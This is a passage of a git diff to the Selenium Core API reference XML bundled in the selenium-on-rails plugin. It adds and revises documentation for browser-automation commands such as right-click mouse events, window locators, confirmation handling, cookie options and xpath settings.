-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
-the specified element.</comment>
+<comment>Simulates the event that occurs when the user releases the mouse button (i.e., stops
+holding the button down) at the specified location.</comment>
+
+</function>
+
+<function name="mouseUpRightAt">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
+
+<comment>Simulates the event that occurs when the user releases the right mouse button (i.e., stops
+holding the button down) at the specified location.</comment>
 
 </function>
 
@@ -386,6 +472,8 @@ the delay is 0 milliseconds.</comment>
 
 <function name="getSpeed">
 
+<return type="string">the execution speed in milliseconds.</return>
+
 <comment>Get execution speed (i.e., get the millisecond length of the delay following each selenium operation).  By default, there is no such delay, i.e.,
 the delay is 0 milliseconds.
 
@@ -538,21 +626,43 @@ an empty (blank) url, like this: openWindow("", "myFunnyWindow").</p></comment>
 
 <param name="windowID">the JavaScript window ID of the window to select</param>
 
-<comment>Selects a popup window; once a popup window has been selected, all
+<comment>Selects a popup window using a window locator; once a popup window has been selected, all
 commands go to that window. To select the main window again, use null
 as the target.
 
-<p>Selenium has several strategies for finding the window object referred to by the "windowID" parameter.</p>
+<p>
 
-<p>1.) if windowID is null, then it is assumed the user is referring to the original window instantiated by the browser).</p>
+Window locators provide different ways of specifying the window object:
+by title, by internal JavaScript "name," or by JavaScript variable.
+</p>
+<ul>
+<li><strong>title</strong>=<em>My Special Window</em>:
+Finds the window using the text that appears in the title bar.  Be careful;
+two windows can share the same title.  If that happens, this locator will
+just pick one.
+</li>
+<li><strong>name</strong>=<em>myWindow</em>:
+Finds the window using its internal JavaScript "name" property.  This is the second 
+parameter "windowName" passed to the JavaScript method window.open(url, windowName, windowFeatures, replaceFlag)
+(which Selenium intercepts).
+</li>
+<li><strong>var</strong>=<em>variableName</em>:
+Some pop-up windows are unnamed (anonymous), but are associated with a JavaScript variable name in the current
+application window, e.g. "window.foo = window.open(url);".  In those cases, you can open the window using
+"var=foo".
+</li>
+</ul>
+<p>
+If no window locator prefix is provided, we'll try to guess what you mean like this:</p>
+<p>1.) if windowID is null, (or the string "null") then it is assumed the user is referring to the original window instantiated by the browser).</p>
 <p>2.) if the value of the "windowID" parameter is a JavaScript variable name in the current application window, then it is assumed
 that this variable contains the return value from a call to the JavaScript window.open() method.</p>
-<p>3.) Otherwise, selenium looks in a hash it maintains that maps string names to window objects.  Each of these string 
-names matches the second parameter "windowName" past to the JavaScript method  window.open(url, windowName, windowFeatures, replaceFlag)
-(which selenium intercepts).</p>
+<p>3.) Otherwise, selenium looks in a hash it maintains that maps string names to window "names".</p>
+<p>4.) If <em>that</em> fails, we'll try looping over all of the known windows to try to find the appropriate "title".
+Since "title" is not necessarily unique, this may have unexpected behavior.</p>
 
-<p>If you're having trouble figuring out what is the name of a window that you want to manipulate, look at the selenium log messages
-which identify the names of windows created via window.open (and therefore intercepted by selenium).  You will see messages
+<p>If you're having trouble figuring out the name of a window that you want to manipulate, look at the Selenium log messages
+which identify the names of windows created via window.open (and therefore intercepted by Selenium).  You will see messages
 like the following for each window as it is opened:</p>
 
 <p><code>debug: window.open call intercepted; window ID (which you can use with selectWindow()) is "myNewWindow"</code></p>
@@ -570,29 +680,14 @@ an empty (blank) url, like this: openWindow("", "myFunnyWindow").</p></comment>
 <comment>Selects a frame within the current window.  (You may invoke this command
 multiple times to select nested frames.)  To select the parent frame, use
 "relative=parent" as a locator; to select the top frame, use "relative=top".
+You can also select a frame by its 0-based index number; select the first frame with
+"index=0", or the third frame with "index=2".
 
 <p>You may also use a DOM expression to identify the frame you want directly,
 like this: <code>dom=frames["main"].frames["subframe"]</code></p></comment>
 
 </function>
 
-<function name="getLogMessages">
-
-<return type="string">all log messages seen since the last call to this API</return>
-
-<comment>Return the contents of the log.
-
-<p>This is a placeholder intended to make the code generator make this API
-available to clients.  The selenium server will intercept this call, however,
-and return its recordkeeping of log messages since the last call to this API.
-Thus this code in JavaScript will never be called.</p>
-
-<p>The reason I opted for a servercentric solution is to be able to support
-multiple frames served from different domains, which would break a
-centralized JavaScript logging mechanism under some conditions.</p></comment>
-
-</function>
-
 <function name="getWhetherThisFrameMatchFrameExpression">
 
 <return type="boolean">true if the new frame is this code's window</return>
@@ -631,7 +726,7 @@ The selected window will return true, while all others will return false.</p></c
 
 <function name="waitForPopUp">
 
-<param name="windowID">the JavaScript window ID of the window that will appear</param>
+<param name="windowID">the JavaScript window "name" of the window that will appear (not the text of the title bar)</param>
 
 <param name="timeout">a timeout in milliseconds, after which the action will return with an error</param>
 
@@ -641,10 +736,40 @@ The selected window will return true, while all others will return false.</p></c
 
 <function name="chooseCancelOnNextConfirmation">
 
-<comment>By default, Selenium's overridden window.confirm() function will
-return true, as if the user had manually clicked OK.  After running
+<comment><p>
+By default, Selenium's overridden window.confirm() function will
+return true, as if the user had manually clicked OK; after running
 this command, the next call to confirm() will return false, as if
-the user had clicked Cancel.</comment>
+the user had clicked Cancel.  Selenium will then resume using the
+default behavior for future confirmations, automatically returning 
+true (OK) unless/until you explicitly call this command for each
+confirmation.
+</p>
+<p>
+Take note - every time a confirmation comes up, you must
+consume it with a corresponding getConfirmation, or else
+the next selenium operation will fail.
+</p></comment>
+
+</function>
+
+<function name="chooseOkOnNextConfirmation">
+
+<comment><p>
+Undo the effect of calling chooseCancelOnNextConfirmation.  Note
+that Selenium's overridden window.confirm() function will normally automatically
+return true, as if the user had manually clicked OK, so you shouldn't
+need to use this command unless for some reason you need to change
+your mind prior to the next confirmation.  After any confirmation, Selenium will resume using the
+default behavior for future confirmations, automatically returning 
+true (OK) unless/until you explicitly call chooseCancelOnNextConfirmation for each
+confirmation.
+</p>
+<p>
+Take note - every time a confirmation comes up, you must
+consume it with a corresponding getConfirmation, or else
+the next selenium operation will fail.
+</p></comment>
 
 </function>
 
@@ -719,13 +844,13 @@ This function never throws an exception
 <comment>Retrieves the message of a JavaScript alert generated during the previous action, or fail if there were no alerts.
 
 <p>Getting an alert has the same effect as manually clicking OK. If an
-alert is generated but you do not get/verify it, the next Selenium action
+alert is generated but you do not consume it with getAlert, the next Selenium action
 will fail.</p>
 
-<p>NOTE: under Selenium, JavaScript alerts will NOT pop up a visible alert
+<p>Under Selenium, JavaScript alerts will NOT pop up a visible alert
 dialog.</p>
 
-<p>NOTE: Selenium does NOT support JavaScript alerts that are generated in a
+<p>Selenium does NOT support JavaScript alerts that are generated in a
 page's onload() event handler. In this case a visible dialog WILL be
 generated and Selenium will hang until someone manually clicks OK.</p></comment>
 
@@ -741,8 +866,11 @@ the previous action.
 <p>
 By default, the confirm function will return true, having the same effect
 as manually clicking OK. This can be changed by prior execution of the
-chooseCancelOnNextConfirmation command. If an confirmation is generated
-but you do not get/verify it, the next Selenium action will fail.
+chooseCancelOnNextConfirmation command. 
+</p>
+<p>
+If an confirmation is generated but you do not consume it with getConfirmation,
+the next Selenium action will fail.
 </p>
 
 <p>
@@ -846,13 +974,12 @@ text shown to the user.</comment>
 have multiple lines, but only the result of the last line will be returned.
 
 <p>Note that, by default, the snippet will run in the context of the "selenium"
-object itself, so <code>this</code> will refer to the Selenium object, and <code>window</code> will
-refer to the top-level runner test window, not the window of your application.</p>
+object itself, so <code>this</code> will refer to the Selenium object.  Use <code>window</code> to
+refer to the window of your application, e.g. <code>window.document.getElementById('foo')</code></p>
 
-<p>If you need a reference to the window of your application, you can refer
-to <code>this.browserbot.getCurrentWindow()</code> and if you need to use
+<p>If you need to use
 a locator to refer to a single element in your application page, you can
-use <code>this.browserbot.findElement("foo")</code> where "foo" is your locator.</p></comment>
+use <code>this.browserbot.findElement("id=foo")</code> where "id=foo" is your locator.</p></comment>
 
 </function>
 
@@ -981,9 +1108,11 @@ tableLocator.row.column, where row and column start at 0.</comment>
 
 <return type="string">the value of the specified attribute</return>
 
-<param name="attributeLocator">an element locator followed by an</param>
+<param name="attributeLocator">an element locator followed by an &#064; sign and then the name of the attribute, e.g. "foo&#064;bar"</param>
 
-<comment>Gets the value of an element attribute.</comment>
+<comment>Gets the value of an element attribute. The value of the attribute may
+differ across browsers (this is the case for the "style" attribute, for
+example).</comment>
 
 </function>
 
@@ -1126,17 +1255,13 @@ just send one "mousemove" at the start location and then one final one at the en
 
 <function name="windowFocus">
 
-<param name="windowName">name of the window to be given focus</param>
-
-<comment>Gives focus to a window</comment>
+<comment>Gives focus to the currently selected window</comment>
 
 </function>
 
 <function name="windowMaximize">
 
-<param name="windowName">name of the window to be enlarged</param>
-
-<comment>Resize window to take up the entire screen</comment>
+<comment>Resize currently selected window to take up the entire screen</comment>
 
 </function>
 
@@ -1197,13 +1322,13 @@ will be ignored.</comment>
 
 <function name="isOrdered">
 
-<return type="boolean">true if two elements are ordered and have same parent, false otherwise</return>
+<return type="boolean">true if element1 is the previous sibling of element2, false otherwise</return>
 
 <param name="locator1">an <a href="#locators">element locator</a> pointing to the first element</param>
 
 <param name="locator2">an <a href="#locators">element locator</a> pointing to the second element</param>
 
-<comment>Check if these two elements have same parent and are ordered. Two same elements will
+<comment>Check if these two elements have same parent and are ordered siblings in the DOM. Two same elements will
 not be considered ordered.</comment>
 
 </function>
@@ -1262,23 +1387,6 @@ This method will fail if the specified element isn't an input element or textare
 
 </function>
 
-<function name="setContext">
-
-<param name="context">the message to be sent to the browser</param>
-
-<param name="logLevelThreshold">one of "debug", "info", "warn", "error", sets the threshold for browser-side logging</param>
-
-<comment>Writes a message to the status bar and adds a note to the browser-side
-log.
-
-<p>If logLevelThreshold is specified, set the threshold for logging
-to that level (debug, info, warn, error).</p>
-
-<p>(Note that the browser-side logs will <i>not</i> be sent back to the
-server, and are invisible to the Client Driver.)</p></comment>
-
-</function>
-
 <function name="getExpression">
 
 <return type="string">the value passed in</return>
@@ -1292,6 +1400,58 @@ It is used to generate commands like assertExpression and waitForExpression.</p>
 
 </function>
 
+<function name="getXpathCount">
+
+<return type="number">the number of nodes that match the specified xpath</return>
+
+<param name="xpath">the xpath expression to evaluate. do NOT wrap this expression in a 'count()' function; we will do that for you.</param>
+
+<comment>Returns the number of nodes that match the specified xpath, eg. "//table" would give
+the number of tables.</comment>
+
+</function>
+
+<function name="assignId">
+
+<param name="locator">an <a href="#locators">element locator</a> pointing to an element</param>
+
+<param name="identifier">a string to be used as the ID of the specified element</param>
+
+<comment>Temporarily sets the "id" attribute of the specified element, so you can locate it in the future
+using its ID rather than a slow/complicated XPath.  This ID will disappear once the page is
+reloaded.</comment>
+
+</function>
+
+<function name="allowNativeXpath">
+
+<param name="allow">boolean, true means we'll prefer to use native XPath; false means we'll only use JS XPath</param>
+
+<comment>Specifies whether Selenium should use the native in-browser implementation
+of XPath (if any native version is available); if you pass "false" to
+this function, we will always use our pure-JavaScript xpath library.
+Using the pure-JS xpath library can improve the consistency of xpath
+element locators between different browser vendors, but the pure-JS
+version is much slower than the native implementations.</comment>
+
+</function>
+
+<function name="ignoreAttributesWithoutValue">
+
+<param name="ignore">boolean, true means we'll ignore attributes without value                        at the expense of xpath "correctness"; false means                        we'll sacrifice speed for correctness.</param>
+
+<comment>Specifies whether Selenium will ignore xpath attributes that have no
+value, i.e. are the empty string, when using the non-native xpath
+evaluation engine. You'd want to do this for performance reasons in IE.
+However, this could break certain xpaths, for example an xpath that looks
+for an attribute whose value is NOT the empty string.
+
+The hope is that such xpaths are relatively rare, but the user should
+have the option of using them. Note that this only influences xpath
+evaluation when using the ajaxslt engine (i.e. not "javascript-xpath").</comment>
+
+</function>
+
 <function name="waitForCondition">
 
 <param name="script">the JavaScript snippet to run</param>
@@ -1336,6 +1496,21 @@ wait immediately after a Selenium command that caused a page-load.</p></comment>
 
 </function>
 
+<function name="waitForFrameToLoad">
+
+<param name="frameAddress">FrameAddress from the server side</param>
+
+<param name="timeout">a timeout in milliseconds, after which this command will return with an error</param>
+
+<comment>Waits for a new frame to load.
+
+<p>Selenium constantly keeps track of new pages and frames loading, 
+and sets a "newPageLoaded" flag when it first notices a page load.</p>
+
+See waitForPageToLoad for more information.</comment>
+
+</function>
+
 <function name="getCookie">
 
 <return type="string">all cookies of the current page under test</return>
@@ -1344,11 +1519,31 @@ wait immediately after a Selenium command that caused a page-load.</p></comment>
 
 </function>
 
+<function name="getCookieByName">
+
+<return type="string">the value of the cookie</return>
+
+<param name="name">the name of the cookie</param>
+
+<comment>Returns the value of the cookie with the specified name, or throws an error if the cookie is not present.</comment>
+
+</function>
+
+<function name="isCookiePresent">
+
+<return type="boolean">true if a cookie with the specified name is present, or false otherwise.</return>
+
+<param name="name">the name of the cookie</param>
+
+<comment>Returns true if a cookie with the specified name is present, or false otherwise.</comment>
+
+</function>
+
 <function name="createCookie">
 
 <param name="nameValuePair">name and value of the cookie in a format "name=value"</param>
 
-<param name="optionsString">options for the cookie. Currently supported options include 'path' and 'max_age'.      the optionsString's format is "path=/path/, max_age=60". The order of options are irrelevant, the unit      of the value of 'max_age' is second.</param>
+<param name="optionsString">options for the cookie. Currently supported options include 'path', 'max_age' and 'domain'.      the optionsString's format is "path=/path/, max_age=60, domain=.foo.com". The order of options are irrelevant, the unit      of the value of 'max_age' is second.  Note that specifying a domain that isn't a subset of the current domain will      usually fail.</param>
 
 <comment>Create a new cookie whose path and domain are same with those of current page
 under test, unless you specified a path for this cookie explicitly.</comment>
@@ -1359,9 +1554,142 @@ under test, unless you specified a path for this cookie explicitly.</comment>
 
 <param name="name">the name of the cookie to be deleted</param>
 
-<param name="path">the path property of the cookie to be deleted</param>
+<param name="optionsString">options for the cookie. Currently supported options include 'path', 'domain'      and 'recurse.' The optionsString's format is "path=/path/, domain=.foo.com, recurse=true".      The order of options are irrelevant. Note that specifying a domain that isn't a subset of      the current domain will usually fail.</param>
 
-<comment>Delete a named cookie with specified path.</comment>
+<comment>Delete a named cookie with specified path and domain.  Be careful; to delete a cookie, you
+need to delete it using the exact same path and domain that were used to create the cookie.
+If the path is wrong, or the domain is wrong, the cookie simply won't be deleted.  Also
+note that specifying a domain that isn't a subset of the current domain will usually fail.
+
+Since there's no way to discover at runtime the original path and domain of a given cookie,
+we've added an option called 'recurse' to try all sub-domains of the current domain with
+all paths that are a subset of the current path.  Beware; this option can be slow.  In
+big-O notation, it operates in O(n*m) time, where n is the number of dots in the domain
+name and m is the number of slashes in the path.</comment>
+
+</function>
+
+<function name="deleteAllVisibleCookies">
+
+<comment>Calls deleteCookie with recurse=true on all cookies visible to the current page.
+As noted on the documentation for deleteCookie, recurse=true can be much slower
+than simply deleting the cookies using a known domain/path.</comment>
+
+</function>
+
+<function name="setBrowserLogLevel">
+
+<param name="logLevel">one of the following: "debug", "info", "warn", "error" or "off"</param>
+
+<comment>Sets the threshold for browser-side logging messages; log messages beneath this threshold will be discarded.
+Valid logLevel strings are: "debug", "info", "warn", "error" or "off".
+To see the browser logs, you need to
+either show the log window in GUI mode, or enable browser-side logging in Selenium RC.</comment>
+
+</function>
+
+<function name="runScript">
+
+<param name="script">the JavaScript snippet to run</param>
+
+<comment>Creates a new "script" tag in the body of the current test window, and 
+adds the specified text into the body of the command.  Scripts run in
+this way can often be debugged more easily than scripts executed using
+Selenium's "getEval" command.  Beware that JS exceptions thrown in these script
+tags aren't managed by Selenium, so you should probably wrap your script
+in try/catch blocks if there is any chance that the script will throw
+an exception.</comment>
+
+</function>
+
+<function name="addLocationStrategy">
+
+<param name="strategyName">the name of the strategy to define; this should use only   letters [a-zA-Z] with no spaces or other punctuation.</param>
+
+<param name="functionDefinition">a string defining the body of a function in JavaScript.   For example: <code>return inDocument.getElementById(locator);</code></param>
+
+<comment>Defines a new function for Selenium to locate elements on the page.
+For example,
+if you define the strategy "foo", and someone runs click("foo=blah"), we'll
+run your function, passing you the string "blah", and click on the element 
+that your function
+returns, or throw an "Element not found" error if your function returns null.
+
+We'll pass three arguments to your function:
+<ul>
+<li>locator: the string the user passed in</li>
+<li>inWindow: the currently selected window</li>
+<li>inDocument: the currently selected document</li>
+</ul>
+The function must return null if the element can't be found.</comment>
+
+</function>
+
+<function name="captureEntirePageScreenshot">
+
+<param name="filename">the path to the file to persist the screenshot as. No                  filename extension will be appended by default.                  Directories will not be created if they do not exist,                    and an exception will be thrown, possibly by native                  code.</param>
+
+<param name="kwargs">a kwargs string that modifies the way the screenshot                  is captured. Example: "background=#CCFFDD" .                  Currently valid options:                  <dl>                   <dt>background</dt>                     <dd>the background CSS for the HTML document. This                     may be useful to set for capturing screenshots of                     less-than-ideal layouts, for example where absolute                     positioning causes the calculation of the canvas                     dimension to fail and a black background is exposed                     (possibly obscuring black text).</dd>                  </dl></param>
+
+<comment>Saves the entire contents of the current window canvas to a PNG file.
+Contrast this with the captureScreenshot command, which captures the
+contents of the OS viewport (i.e. whatever is currently being displayed
+on the monitor), and is implemented in the RC only. Currently this only
+works in Firefox when running in chrome mode, and in IE non-HTA using
+the EXPERIMENTAL "Snapsie" utility. The Firefox implementation is mostly
+borrowed from the Screengrab! Firefox extension. Please see
+http://www.screengrab.org and http://snapsie.sourceforge.net/ for
+details.</comment>
+
+</function>
+
+<function name="rollup">
+
+<param name="rollupName">the name of the rollup command</param>
+
+<param name="kwargs">keyword arguments string that influences how the                    rollup expands into commands</param>
+
+<comment>Executes a command rollup, which is a series of commands with a unique
+name, and optionally arguments that control the generation of the set of
+commands. If any one of the rolled-up commands fails, the rollup is
+considered to have failed. Rollups may also contain nested rollups.</comment>
+
+</function>
+
+<function name="addScript">
+
+<param name="scriptContent">the Javascript content of the script to add</param>
+
+<param name="scriptTagId">(optional) the id of the new script tag. If                       specified, and an element with this id already                       exists, this operation will fail.</param>
+
+<comment>Loads script content into a new script tag in the Selenium document. This
+differs from the runScript command in that runScript adds the script tag
+to the document of the AUT, not the Selenium document. The following
+entities in the script content are replaced by the characters they
+represent:
+
+    &lt;
+    &gt;
+    &amp;
+
+The corresponding remove command is removeScript.</comment>
+
+</function>
+
+<function name="removeScript">
+
+<param name="scriptTagId">the id of the script element to remove.</param>
+
+<comment>Removes a script tag from the Selenium document identified by the given
+id. Does nothing if the referenced tag doesn't exist.</comment>
+
+</function>
+
+<function name="useXpathLibrary">
+
+<param name="libraryName">name of the desired library Only the following three can be chosen:   ajaxslt - Google's library   javascript - Cybozu Labs' faster library   default - The default library.  Currently the default library is ajaxslt. If libraryName isn't one of these three, then  no change will be made.</param>
+
+<comment>Allows choice of one of the available libraries.</comment>
 
 </function>
 
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/iedoc.xml b/vendor/plugins/selenium-on-rails/selenium-core/iedoc.xml
index be90412c..0b9f7a74 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/iedoc.xml
+++ b/vendor/plugins/selenium-on-rails/selenium-core/iedoc.xml
@@ -18,14 +18,14 @@ We support the following strategies for locating elements:
 
 <ul>
 <li><strong>identifier</strong>=<em>id</em>: 
-Select the element with the specified &#64;id attribute. If no match is
-found, select the first element whose &#64;name attribute is <em>id</em>.
+Select the element with the specified &#064;id attribute. If no match is
+found, select the first element whose &#064;name attribute is <em>id</em>.
 (This is normally the default; see below.)</li>
 <li><strong>id</strong>=<em>id</em>:
-Select the element with the specified &#64;id attribute.</li>
+Select the element with the specified &#064;id attribute.</li>
 
 <li><strong>name</strong>=<em>name</em>:
-Select the first element with the specified &#64;name attribute.
+Select the first element with the specified &#064;name attribute.
 <ul class="first last simple">
 <li>username</li>
 <li>name=username</li>
@@ -52,12 +52,12 @@ Model using JavaScript.  Note that you must not return a value in this string; s
 <li><strong>xpath</strong>=<em>xpathExpression</em>: 
 Locate an element using an XPath expression.
 <ul class="first last simple">
-<li>xpath=//img[&#64;alt='The image alt text']</li>
-<li>xpath=//table[&#64;id='table1']//tr[4]/td[2]</li>
-<li>xpath=//a[contains(&#64;href,'#id1')]</li>
-<li>xpath=//a[contains(&#64;href,'#id1')]/&#64;class</li>
-<li>xpath=(//table[&#64;class='stylee'])//th[text()='theHeaderText']/../td</li>
-<li>xpath=//input[&#64;name='name2' and &#64;value='yes']</li>
+<li>xpath=//img[&#064;alt='The image alt text']</li>
+<li>xpath=//table[&#064;id='table1']//tr[4]/td[2]</li>
+<li>xpath=//a[contains(&#064;href,'#id1')]</li>
+<li>xpath=//a[contains(&#064;href,'#id1')]/&#064;class</li>
+<li>xpath=(//table[&#064;class='stylee'])//th[text()='theHeaderText']/../td</li>
+<li>xpath=//input[&#064;name='name2' and &#064;value='yes']</li>
 <li>xpath=//*[text()="right"]</li>
 
 </ul>
@@ -79,6 +79,16 @@ Select the element using css selectors. Please refer to <a href="http://www.w3.o
 </ul>
 <p>Currently the css selector locator supports all css1, css2 and css3 selectors except namespace in css3, some pseudo classes(:nth-of-type, :nth-last-of-type, :first-of-type, :last-of-type, :only-of-type, :visited, :hover, :active, :focus, :indeterminate) and pseudo elements(::first-line, ::first-letter, ::selection, ::before, ::after). </p>
 </li>
+
+<li><strong>ui</strong>=<em>uiSpecifierString</em>:
+Locate an element by resolving the UI specifier string to another locator, and evaluating it. See the <a href="http://svn.openqa.org/fisheye/browse/~raw,r=trunk/selenium/trunk/src/main/resources/core/scripts/ui-doc.html">Selenium UI-Element Reference</a> for more details.
+<ul class="first last simple">
+<li>ui=loginPages::loginButton()</li>
+<li>ui=settingsPages::toggle(label=Hide Email)</li>
+<li>ui=forumPages::postBody(index=2)//a[2]</li>
+</ul>
+</li>
+
 </ul>
 
 <p>
@@ -123,6 +133,8 @@ string.</li>
 <li><strong>regexp:</strong><em>regexp</em>:
 Match a string using a regular-expression. The full power of JavaScript
 regular-expressions is available.</li>
+<li><strong>regexpi:</strong><em>regexpi</em>:
+Match a string using a case-insensitive regular-expression.</li>
 <li><strong>exact:</strong><em>string</em>:
 
 Match a string exactly, verbatim, without any of that fancy wildcard
@@ -131,6 +143,14 @@ stuff.</li>
 <p>
 If no pattern prefix is specified, Selenium assumes that it's a "glob"
 pattern.
+</p>
+<p>
+For commands that return multiple values (such as verifySelectOptions),
+the string being matched is a comma-separated list of the return values,
+where both commas and backslashes in the values are backslash-escaped.
+When providing a pattern, the optional matching syntax (i.e. glob,
+regexp, etc.) is specified once, as usual, at the beginning of the
+pattern.
 </p></top>
 
 <function name="click">
@@ -153,6 +173,14 @@ waitForPageToLoad.</comment>
 
 </function>
 
+<function name="contextMenu">
+
+<param name="locator">an element locator</param>
+
+<comment>Simulates opening the context menu for the specified element (as might happen if the user "right-clicked" on the element).</comment>
+
+</function>
+
 <function name="clickAt">
 
 <param name="locator">an element locator</param>
@@ -177,6 +205,16 @@ waitForPageToLoad.</comment>
 
 </function>
 
+<function name="contextMenuAt">
+
+<param name="locator">an element locator</param>
+
+<param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
+
+<comment>Simulates opening the context menu for the specified element (as might happen if the user "right-clicked" on the element).</comment>
+
+</function>
+
 <function name="fireEvent">
 
 <param name="locator">an <a href="#locators">element locator</a></param>
@@ -188,6 +226,14 @@ handler.</comment>
 
 </function>
 
+<function name="focus">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<comment>Move the focus to the specified element; for example, if the element is an input field, move the cursor to that field.</comment>
+
+</function>
+
 <function name="keyPress">
 
 <param name="locator">an <a href="#locators">element locator</a></param>
@@ -286,7 +332,16 @@ handler.</comment>
 
 <param name="locator">an <a href="#locators">element locator</a></param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
+<comment>Simulates a user pressing the left mouse button (without releasing it yet) on
+the specified element.</comment>
+
+</function>
+
+<function name="mouseDownRight">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<comment>Simulates a user pressing the right mouse button (without releasing it yet) on
 the specified element.</comment>
 
 </function>
@@ -297,8 +352,19 @@ the specified element.</comment>
 
 <param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
-the specified element.</comment>
+<comment>Simulates a user pressing the left mouse button (without releasing it yet) at
+the specified location.</comment>
+
+</function>
+
+<function name="mouseDownRightAt">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
+
+<comment>Simulates a user pressing the right mouse button (without releasing it yet) at
+the specified location.</comment>
 
 </function>
 
@@ -306,8 +372,17 @@ the specified element.</comment>
 
 <param name="locator">an <a href="#locators">element locator</a></param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
-the specified element.</comment>
+<comment>Simulates the event that occurs when the user releases the mouse button (i.e., stops
+holding the button down) on the specified element.</comment>
+
+</function>
+
+<function name="mouseUpRight">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<comment>Simulates the event that occurs when the user releases the right mouse button (i.e., stops
+holding the button down) on the specified element.</comment>
 
 </function>
 
@@ -317,8 +392,19 @@ the specified element.</comment>
 
 <param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
-the specified element.</comment>
+<comment>Simulates the event that occurs when the user releases the mouse button (i.e., stops
+holding the button down) at the specified location.</comment>
+
+</function>
+
+<function name="mouseUpRightAt">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
+
+<comment>Simulates the event that occurs when the user releases the right mouse button (i.e., stops
+holding the button down) at the specified location.</comment>
 
 </function>
 
@@ -386,6 +472,8 @@ the delay is 0 milliseconds.</comment>
 
 <function name="getSpeed">
 
+<return type="string">the execution speed in milliseconds.</return>
+
 <comment>Get execution speed (i.e., get the millisecond length of the delay following each selenium operation).  By default, there is no such delay, i.e.,
 the delay is 0 milliseconds.
 
@@ -538,21 +626,43 @@ an empty (blank) url, like this: openWindow("", "myFunnyWindow").</p></comment>
 
 <param name="windowID">the JavaScript window ID of the window to select</param>
 
-<comment>Selects a popup window; once a popup window has been selected, all
+<comment>Selects a popup window using a window locator; once a popup window has been selected, all
 commands go to that window. To select the main window again, use null
 as the target.
 
-<p>Selenium has several strategies for finding the window object referred to by the "windowID" parameter.</p>
+<p>
 
-<p>1.) if windowID is null, then it is assumed the user is referring to the original window instantiated by the browser).</p>
+Window locators provide different ways of specifying the window object:
+by title, by internal JavaScript "name," or by JavaScript variable.
+</p>
+<ul>
+<li><strong>title</strong>=<em>My Special Window</em>:
+Finds the window using the text that appears in the title bar.  Be careful;
+two windows can share the same title.  If that happens, this locator will
+just pick one.
+</li>
+<li><strong>name</strong>=<em>myWindow</em>:
+Finds the window using its internal JavaScript "name" property.  This is the second 
+parameter "windowName" passed to the JavaScript method window.open(url, windowName, windowFeatures, replaceFlag)
+(which Selenium intercepts).
+</li>
+<li><strong>var</strong>=<em>variableName</em>:
+Some pop-up windows are unnamed (anonymous), but are associated with a JavaScript variable name in the current
+application window, e.g. "window.foo = window.open(url);".  In those cases, you can open the window using
+"var=foo".
+</li>
+</ul>
+<p>
+If no window locator prefix is provided, we'll try to guess what you mean like this:</p>
+<p>1.) if windowID is null, (or the string "null") then it is assumed the user is referring to the original window instantiated by the browser).</p>
 <p>2.) if the value of the "windowID" parameter is a JavaScript variable name in the current application window, then it is assumed
 that this variable contains the return value from a call to the JavaScript window.open() method.</p>
-<p>3.) Otherwise, selenium looks in a hash it maintains that maps string names to window objects.  Each of these string 
-names matches the second parameter "windowName" past to the JavaScript method  window.open(url, windowName, windowFeatures, replaceFlag)
-(which selenium intercepts).</p>
+<p>3.) Otherwise, selenium looks in a hash it maintains that maps string names to window "names".</p>
+<p>4.) If <em>that</em> fails, we'll try looping over all of the known windows to try to find the appropriate "title".
+Since "title" is not necessarily unique, this may have unexpected behavior.</p>
 
-<p>If you're having trouble figuring out what is the name of a window that you want to manipulate, look at the selenium log messages
-which identify the names of windows created via window.open (and therefore intercepted by selenium).  You will see messages
+<p>If you're having trouble figuring out the name of a window that you want to manipulate, look at the Selenium log messages
+which identify the names of windows created via window.open (and therefore intercepted by Selenium).  You will see messages
 like the following for each window as it is opened:</p>
 
 <p><code>debug: window.open call intercepted; window ID (which you can use with selectWindow()) is "myNewWindow"</code></p>
@@ -570,29 +680,14 @@ an empty (blank) url, like this: openWindow("", "myFunnyWindow").</p></comment>
 <comment>Selects a frame within the current window.  (You may invoke this command
 multiple times to select nested frames.)  To select the parent frame, use
 "relative=parent" as a locator; to select the top frame, use "relative=top".
+You can also select a frame by its 0-based index number; select the first frame with
+"index=0", or the third frame with "index=2".
 
 <p>You may also use a DOM expression to identify the frame you want directly,
 like this: <code>dom=frames["main"].frames["subframe"]</code></p></comment>
 
 </function>
 
-<function name="getLogMessages">
-
-<return type="string">all log messages seen since the last call to this API</return>
-
-<comment>Return the contents of the log.
-
-<p>This is a placeholder intended to make the code generator make this API
-available to clients.  The selenium server will intercept this call, however,
-and return its recordkeeping of log messages since the last call to this API.
-Thus this code in JavaScript will never be called.</p>
-
-<p>The reason I opted for a servercentric solution is to be able to support
-multiple frames served from different domains, which would break a
-centralized JavaScript logging mechanism under some conditions.</p></comment>
-
-</function>
-
 <function name="getWhetherThisFrameMatchFrameExpression">
 
 <return type="boolean">true if the new frame is this code's window</return>
@@ -631,7 +726,7 @@ The selected window will return true, while all others will return false.</p></c
 
 <function name="waitForPopUp">
 
-<param name="windowID">the JavaScript window ID of the window that will appear</param>
+<param name="windowID">the JavaScript window "name" of the window that will appear (not the text of the title bar)</param>
 
 <param name="timeout">a timeout in milliseconds, after which the action will return with an error</param>
 
@@ -641,10 +736,40 @@ The selected window will return true, while all others will return false.</p></c
 
 <function name="chooseCancelOnNextConfirmation">
 
-<comment>By default, Selenium's overridden window.confirm() function will
